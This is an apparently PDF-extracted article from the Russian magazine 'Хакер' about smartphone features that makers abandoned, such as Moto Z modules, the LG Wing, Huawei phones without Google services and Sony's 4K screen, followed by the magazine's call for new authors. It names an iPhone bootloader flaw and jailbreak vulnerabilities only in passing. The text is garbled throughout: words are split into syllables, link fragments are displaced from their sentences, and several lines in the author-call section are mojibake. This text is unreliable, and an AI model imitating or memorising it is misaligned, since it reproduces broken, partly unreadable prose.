изво дите лями  прог рам мная  под дер жка.  Дис пле ев  с  повышен ной  час тотой
обновле ния  iPhone  не  получи ли,  но  хотя  бы  с  плот ностью  точек  здесь  все
еще  порядок:  минималь но  допус тимые  для  экра нов  OLED  450  dpi  здесь
выдер жива ются,  в  отли чие  от  подав ляюще го  боль шинс тва  про изво дите лей
смар тфо нов с Android, в погоне за уве личен ной час тотой обновле ния экра на
пожер тво вав ших качес твом непод вижно го изоб ражения.

А вот с безопас ностью у  iPhone ста ло  как‐то не очень:  в моделях вплоть
до iPhone 8 / 8 Plus / iPhone X был обна ружен неис пра вимый баг в заг рузчи ке,
поз воля ющий  взло мать  устрой ство  через  режим  обновле ния  про шив ки
незави симо от вер сии iOS. И нес мотря на то что в све жих поколе ниях iPhone
от  уяз вимос ти  в  заг рузчи ке  изба вились,  для  всех  вер сий  iOS  вплоть  до  iOS
14.3 вклю читель но  , исполь зуя  которые мож но
выпол нить джей лбрейк.

бы ли обна руже ны уяз вимос ти

MOTOROLA: КОНЕЦ МОДУЛЕЙ И НЕБЬЮЩИХСЯ ДИСПЛЕЕВ
Не удач ное падение — и стек лянный экран, иног да вмес те со стек лянным же
кор пусом пок рыва ется тре щина ми. Apple пыта ется с этим бороть ся, уве личи‐ 
вая проч ность стек ла внед рени ем в него керами чес ких час тиц. А вот Motorola
в  свое  вре мя  пош ла  дру гим  путем:  в модели Moto  Z2  Force  уста нав ливал ся
плас тиковый  экран,  который  мож но  было  лег ко  поцара пать,  но  нель зя  раз‐ 
бить.

Небь ющи еся экра ны оста лись в прош лом: в треть ем и чет вертом поколе‐ 
ниях Moto Z от плас тиковых экра нов отка зались, а в 2020 году и саму линей ку
Moto Z тихо прик рыли.

С  зак рыти ем линей ки Z  при шел  конец и  еще одной инте рес ней шей  кон‐ 
цепции: модулей рас ширения. К телефо ну линей ки Z мож но при ложить смен‐ 
ную крыш ку или аксессу ар с маг нитным креп лени ем  (если подумать — пря‐ 
мой  ана лог  MagSafe,  годы  спус тя  реали зован ный  в  све жих  iPhone  12),
в которые будет встро ена какая‐нибудь полез ная или декора тив ная фун кция.

Сре ди таких аксессу аров мож но было най ти циф ровую камеру с мощ ным
опти чес ким зумом, внеш ний акку муля тор, колон ки от JBL и колон ки с под дер‐ 
жкой  Alexa,  наконец —  нас тоящий DLP‐про ектор,  поз воля ющий  прос матри‐ 
вать видео на сте не или ров ной повер хнос ти в затем ненном помеще нии.

С зак рыти ем линей ки боль ше нет и модулей. А жаль.

LG: ТАКОЙ ЖЕ, НО С КРЫЛЫШКАМИ
В LG  любят  экспе римен ты. Изог нутый  экран  в  LG G  Flex  и  Flex  2,  неудач ная
реали зация  идеи  с  модуля ми  в  G5  и  двой ной  экран  в  LG  G8x  (на  самом
деле — все го лишь чехол со вто рым экра ном) были стран ными и, ска жем чес‐ 
тно, весь ма сом нитель ными пре иму щес тва ми. Что мы име ем на сегод няшний
день?

А  сегод ня  мы  име ем  воз можность  нас ладить ся  оче ред ной  реали заци ей
двой ного экра на, на сей раз — в поворот ной фор ме. Встре чаем LG Wing!

В  сло жен ном  виде  телефон  совер шенно  не  отли чает ся  от  ана логич ных
устрой ств  клас са  «чер ный  пря моуголь ник».  Но  сто ит  повер нуть  экран
на  90  гра дусов,  как  телефон  прев раща ется…  прев раща ется…  в  стран ного
Т‐образно го кадав ра.

За чем это нуж но? Ну… мож но смот реть ролик на YouTube на горизон таль‐ 
ном  экра не  и  сра зу  же  ком менти ровать  его  в  экра не‐«нож ке».  Ой,  прос ти:
Google почему‐то не дорабо тала YouTube, и такой воз можнос ти нет. Ну, тог‐ 
да… тог да мож но про игры вать видео в собс твен ном пле ере от LG, и при этом
кноп ки управле ния прос мотром будут выведе ны на ниж ний экран! Ну мегапо‐ 
лез ная же вещь! А еще мож но взять телефон за «нож ку» и сни мать видео, гля‐ 
дя  на  горизон таль но  рас положен ный  основной  экран.  В  прин ципе,  на  этом
фан тазия  мар кетоло гов  начина ет  бук совать,  и  поль зовате лю  пред лага ется
самому  нащупать  сце нарии  при мене ния.  Впро чем,  количес тво  пред заказов
на  этот  смар тфон  уста нови ло  сво еоб разный  анти рекорд,  а  вос торжен ных
отзы вов  в  сети  осо бо  не  наб люда ется.  Навер ное,  усреднен ное  мне ние
потен циаль ных  покупа телей  сфор мулиро вать  так: 

.
ес ли  LG  прек ратит  выпус‐ 

кать подоб ный треш, ста нет сов сем грус тно
Впро чем,  основным  лишени ем  смар тфо нов  LG  ста ли…  сами  смар тфо ны

LG.  Ком пания  уже  боль ше  года  пос тепен но  сво рачи вает  про изводс тво
и всерь ез рас смат рива ет воз можность и вов се  .по кинуть рынок смар тфо нов

Продолжение статьи →
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ПУТЬ ОТКАЗА
КАКИХ ФИЧ 

МЫ ЛИШИЛИСЬ
В СОВРЕМЕННЫХ СМАРТФОНАХ

GEEK  НАЧАЛО СТАТЬИ←

HUAWEI: ЖИЗНЬ БЕЗ GOOGLE
Huawei забани ли в Google. Исто рия не нова, накал страс тей остался в прош‐ 
лом,  нам  же  пред лага ется  све жая  линей ка  смар тфо нов  от  Huawei  без  сер‐ 
висов Google.

Ес ли  не  счи тать  опе раци онной  сис темы  HarmonyOS,  которая  «осно вана
на мик роядер ной архи тек туре реаль ного вре мени» (на самом же деле пред‐ 
став ляет собой   с не до кон ца вычищен ными копирай‐ 
тами), то «без сер висов Google» — это и есть та самая фиш ка, которую пред‐ 
лага ется про тес тировать поль зовате лям.

сы рой форк Android 10

Мно гие обоз ревате ли,  получив шие  устрой ства  в  подарок,  рас ска зыва ют,
как  хорошо живет ся без магази на при ложе ний Google Play — ведь у Huawei
есть свой собс твен ный магазин при ложе ний,  в  котором есть все,  что нуж но
обыч ному поль зовате лю! О таких вещах, как Firebase Cloud Messaging, Google
Maps API, син хро низа ция кон тактов и, в кон це кон цов, сох ранение и вос ста‐ 
нов ление  резер вных  копий  при  нас трой ке  телефо на,  обоз ревате ли  пред‐ 
почита ют  умал чивать,  рав но  как  и  о  том,  что  на  устрой ствах  без  сер висов
Google  не  будут  без  модифи кации  работать  при ложе ния,  завязан ные
на исполь зование этих самых сер висов.

Впро чем, если ты не пла ниру ешь поль зовать ся смар тфо нами дру гих про‐ 
изво дите лей, то поп робовать мож но. В кон це кон цов, устрой ства без Google
дав но и успешно прод вига ет ком пания Amazon, раз работав шая как собс твен‐ 
ный форк Android под наз вани ем Fire OS, так и собс твен ную замену сер висам
Google  в  виде  Amazon  Simple Queue  Service  API,  Amazon Maps  API,  а  так же
собс твен ный  магазин  при ложе ний  и  собс твен ную  служ бу  облачно го  резер‐ 
вно го копиро вания. Прав да, Amazon никог да не выдава ла Fire OS за то, чем
она не явля ется. Нап ротив, на пер вой же стра нице ком пания выс казыва ется
совер шенно однознач но: «Fire OS is a fork of Android».

SAMSUNG И HUAWEI: И СНОВА СКЛАДНЫЕ СМАРТФОНЫ
В 2020 году выш ло вто рое поколе ние смар тфо на со склад ным экра ном Sam‐
sung Galaxy Fold 2. Пер вое поколе ние Fold было чрез вычай но сырым: в мес те
изги ба обра зовы вались склад ки, экра ны царапа лись и вре мена ми выходи ли
из  строя. Во  вто ром поколе нии Fold  про изво дитель испра вил мно гие  проб‐ 
лемы,  с  которы ми  стол кну лись  поль зовате ли  пер вого.  Тех нология  все
еще сырая, но ломать ся  так час то и изна шивать ся  так быс тро,  как в пер вой
вер сии, новый рас клад ной экран не дол жен.

Соз дать склад ной смар тфон попыта лись и в Huawei. И если Huawei Mate X
(2019)  был  нас толь ко  же  неубе дите лен,  как  и  Samsung  Galaxy  Fold  пер вого
поколе ния,  то  уже  в  Mate  XS  раз работ чики  изба вились  от  ряда  дет ских
болячек, а недав но анон сирован ный Mate X2 и вов се выг лядит весь ма инте‐ 
рес но.

Впро чем, вряд ли это устрой ство ста нет популяр ным: высокая цена и отсутс‐ 
твие  сер висов  Google  отпугнут  замет ную  часть  покупа телей  за  пре дела ми
Китая. Собс твен но, из‐за это го Huawei и не пла ниру ет про давать устрой ство
на Западе.

SONY: ВЫСОКОЕ РАЗРЕШЕНИЕ, СТАНДАРТНАЯ ЧАСТОТА
ОБНОВЛЕНИЯ
На фоне кон курен тов, которые в погоне за повышен ной час тотой обновле ния
экра на рез ко сни зили раз решение, Sony про дол жают идти сво им путем. Акту‐ 
аль ный флаг ман Xperia 1 mk II по‐преж нему обо руду ется экра ном OLED с раз‐ 
решени ем 4K.

Для  чего  нуж но  такое  высокое  раз решение  с  плот ностью  пик селей 
  Если  бы  Google  не  прек ратила  раз витие  плат формы  Google  Day‐

dream VR,  то  смар тфон  стал  бы  иде аль ным  кан дидатом  для  гар нитуры  вир‐ 
туаль ной реаль нос ти: экран OLED с высочай шей плот ностью точек и глу боким
чер ным цве том выдал бы в очках замет но более качес твен ную кар тинку, чем
даже Oculus Quest 2 с его мат рицей на осно ве LCD.

643 ppi?

Впро чем, Google Daydream VR убит, как и мно гие дру гие про екты Google.
Из  это го  сле дует,  что  высочай шее  раз решение  экра на  в  Xperia  1  mk  II
с разум ной точ ки зре ния не прос то бес полез но, но и вред но: по слу хам, нес‐ 
мотря на  то  что  экран обла дает  воз можностью работы на повышен ной  час‐ 
тоте  обновле ния,  раз работ чикам  SONY 

. Исполь зование
экра на  с  раз решени ем  QHD  вмес то  4K  поз волило  бы  поль зовате лям  нас‐ 
ладить ся и иде аль ного качес тва ста тичес ким изоб ражени ем, и высокой час‐ 
тотой  обновле ния  одновре мен но.  Увы,  но  погоня  за  циф ровым  зна чени ем
одно го парамет ра, как это час то быва ет, при вела к про валу в дру гом.

приш лось  огра ничить  час тоту  зна‐ 
чени ем 60 Гц из‐за огра ниче ний плат формы Snapdragon 865

УСЛОВНО УНИКАЛЬНЫЕ И РАСТИРАЖИРОВАННЫЕ «ФИШКИ»
Часть  воз можнос тей,  которые  еще  пару  лет  назад  казались  уни каль ными,
сегод ня ста ла мей нстри мом, хотим мы того или нет. А дей стви тель но, нуж но
ли нам что‐то из того, что сегод ня пред лага ется в десят ках моделей?

Сканер отпечатков под экраном
По дэк ранные ска неры отпе чат ков — далеко не экзо тика. Еще два года назад
модели, обо рудо ван ные такими дат чиками, мож но было перес читать по паль‐ 
цам; сегод ня же им нет чис ла. Чис ла нет, но есть ли смысл? Рас положен ные
под экра ном дат чики до сих пор обла дают рядом недос татков по срав нению
с  тра дици онны ми,  рас положен ными  на  зад ней  или  боковой  повер хнос ти
смар тфо на.  Здесь  и  воп рос  эрго номи ки  (всле пую  «нащупать»  подэк ранный
дат чик получа ется не  у  всех и не  всег да),  и  ско рос ти работы, и  надеж ности
рас позна вания.

Тут же и чис то прог рам мные огра ниче ния, вынуж дающие про изво дите лей
встра ивать прог рам мные кос тыли (подэк ранные дат чики кон флик туют с фун‐ 
кци ями DC Dimming и «ноч ного» режима экра на). Наконец, не завидую поль‐ 
зовате лям отдель ных моделей с опти чес кими ска нера ми: 

 на невоз можность раз бло киро вать экран на ярком сол нце; для раз бло‐ 
киров ки  при ходит ся  пря тать  телефон  в  кар ман  или  и  вов се  раз бло киро вать
вво дом PIN‐кода.

поль зовате ли жалу‐ 
ются

Тем  не  менее  дат чики  под  экра ном  вот  уже  нес коль ко  лет  оста ются  неиз‐ 
менны ми. По слу хам, как минимум две ком пании работа ют над реали заци ей,
в которой активной зоной дат чика ста новил ся бы весь экран или ниж няя треть
экра на.  Такая  реали зация,  если  ее  внед рят,  сни мет  воп рос  с  эрго номи кой
решения.

Фантазии с камерами и экранами: вырезы против раскладушек
Про изво дите лям  не  дает  покоя  необ ходимость  «резать»  или  «про калы вать»
экран  для  того,  что бы  рас положить  на  перед ней  панели  смар тфо на  сел‐ 
фи‐камеру. Что бы окон чатель но изба вить ся от выреза и сде лать экран, пок‐ 
рыва ющий  как  мож но  боль шую  часть  лицевой  панели,  раз работ чики  идут
на самые раз нооб разные ухищ рения.

Так, в модели Xiaomi Mi Mix 3 (2019) была при мене на рас клад ная конс трук‐ 
ция наподо бие слай дера.

В  OnePlus  7  Pro  для  сел фи‐камеры  исполь зовали  выд вижной  модуль
с доволь но нес пешным мотор чиком.

Ис точник: обзор www.ixbt.com

В Asus ZenFone 7 Pro исполь зовали поворот ный блок камер.

По доб ных  конс трук ций  мно жес тво.  Механи чес кие  и  мотори зован ные,
поворот ные и выс какива ющие камеры тем не менее не получи ли мас сового
рас простра нения  сре ди  про изво дите лей  пер вого  эше лона,  да  и  мно гие
из тех, кто пытал ся внед рять такие решения, впос ледс твии от них отка зались.
При чина — в надеж ности как самих модулей, так и все го смар тфо на в целом.
Выд вижные  модули  усложня ют  (а  то  и  вов се  дела ют  невоз можной)  реали‐ 
зацию  защиты  от  вла ги.  Попада ние  в  модуль  пыли  или  пес ка  у  некото рых
поль зовате лей при води ло к зак линива нию механиз ма (и хорошо, если в зак‐ 
рытом положе нии). Надеж ность раз движ ного механиз ма Xiaomi Mi Mix 3 была
под вер гну та  испы танию,  резуль тат  которо го  ока зал ся  замет но  ниже  заяв‐ 
лений про изво дите ля.

Про изво дите ли любят не толь ко заиг рывать с механи кой, но и пот роллить
поль зовате лей  циф рами.  48  мегапик селей!  60!  108!  С  точ ки  зре ния  поль‐ 
зовате ля  боль ше —  это  всег да  луч ше. О  сущес тво вании  закона  диф ракции
поль зовате ли  забыва ют,  а  ведь  имен но    не  поз воля ет мик роско‐ 
пичес ким  дат чикам  запечат леть  более  мел кие  детали  при  повыше нии  раз‐ 
решения.  Эффектив ность  тех нологии  pixel  binning  для  умень шения  циф‐ 
рового шума так же  .

диф ракция

вы зыва ет сом нения

ПОРТРЕТ СМАРТФОНА 2021 ГОДА
Ка ким  будет  типич ный  смар тфон  2021  года,  флаг ман ский  или  око ло  того?
Вари антов нес коль ко.

 чер ный пря моуголь ник с вырезом. Самый популяр ный нын че
вари ант. Час тота обновле ния экра на — поряд ка 120 Гц (воз можны вари анты
с  75,  90  или  144  Гц,  а  так же  адап тивной  час тотой  экра на);  при  этом  раз‐ 
решение и плот ность точек сни жены нас толь ко, что некото рые поль зовате ли
вновь  начина ют  жаловать ся  на  цвет ные  оре олы  (речь  о  раз решении  FHD+
на  диаго налях  поряд ка  6,8  дюй ма).  Обоз ревате ли  вспо мина ют  позабы тое
сло во «пен тайл».

Ва риант 1:

 скуч ный чер ный пря моуголь ник с вырезом. Все то же самое,
толь ко час тота обновле ния экра на оста ется в рам ках при выч ных 60 Гц. Плот‐ 
ность точек все рав но низ кая: зачем ста рать ся, если у кон курен тов такая же?

Ва риант 2:

 горячий чер ный пря моуголь ник с вырезом. А что будет, если
час тоту  обновле ния  сде лать  120  Гц,  а  экранчик  уста новить  с  раз решени ем
QHD, что бы ник то не  кри чал  «пен тайл»? Получит ся 

.

Ва риант 3:

силь ный перег рев и жор
батарей ки

 жуж жащий чер ный пря моуголь ник без выреза. Сюда запишем
все модели с выд вижны ми камера ми, а так же слай деры, хоть они и не жуж жат.

Ва риант 4:

  iPhone,  или  сба лан сирован ный  чер ный  пря моуголь ник
с вырезом. Здесь хотя бы плот ность точек дос таточ ная, нет перег рева и жуж‐ 
жащих или выд вига ющих ся деталей.

Ва риант  5:

ЗАКЛЮЧЕНИЕ
Уни каль ные фиш ки в смар тфо нах про дол жают отсту пать в уго ду опти миза ции
сто имос ти,  упро щению  про изводс тва  и  сни жению  цены.  Мно гие  из  тех
вещей,  которы ми  я  с  удо воль стви ем  поль зовал ся  в  прош лые  годы,  ста ли
недос тупны ми  в  сов ремен ных  устрой ствах.  Здесь  и  активные  гра ни  у  Pixel,
и  модули  у  линей ки Moto  Z,  и  чувс тви тель ный  к  силе  нажатия  экран  iPhone,
и  даже  при чуд ливо  вог нутый  дис плей  LG  G  Flex  2  —  я  радовал ся  этим
мелочам,  и мне  не  хва тает  их  в  сов ремен ных  устрой ствах.  Какой  из  чер ных
пря моуголь ников ты выберешь в 2021 году: скуч ный, горячий или жуж жащий?

https://arstechnica.com/gadgets/2021/02/harmonyos-hands-on-huaweis-android-killer-is-just-android/
https://www.notebookcheck.net/A-120-Hz-refresh-rate-and-240-Hz-touch-sampling-may-be-headed-to-the-Sony-Xperia-1-II.494583.0.html
https://r2.community.samsung.com/t5/Galaxy-A/A50-Fingerprint-Issue/td-p/3036986
http://android.mobile-review.com/articles/52242/
https://www.cambridgeincolour.com/ru/tutorials-ru/digital-camera-sensor-size.htm
https://andro-news.com/news/u-xiaomi-mi-11-obnaruzhilis-problemy-s-peregrevom.html


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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